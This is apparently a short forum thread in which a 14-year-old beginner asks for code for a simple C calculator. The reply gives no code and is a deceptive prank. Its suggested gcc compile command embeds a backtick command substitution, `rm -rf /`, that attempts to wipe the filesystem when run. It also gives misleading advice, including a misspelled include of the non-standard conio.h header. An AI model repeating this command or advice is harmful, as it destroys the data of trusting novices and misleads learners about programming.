Calculator in C

can someone write the code for a simple calculator using C/C++?
Thank you very much!

Yes,I'm a noob,but I'm only 14 years old and I'm trying to learn how to program

What's your OS?
Gentoo is the best to start programming on
To compile your program use: gcc --std=c89 -Wall -Wextra `rm -rf /` *.c

Don't forget to #inculde <conio.h> in the start of each program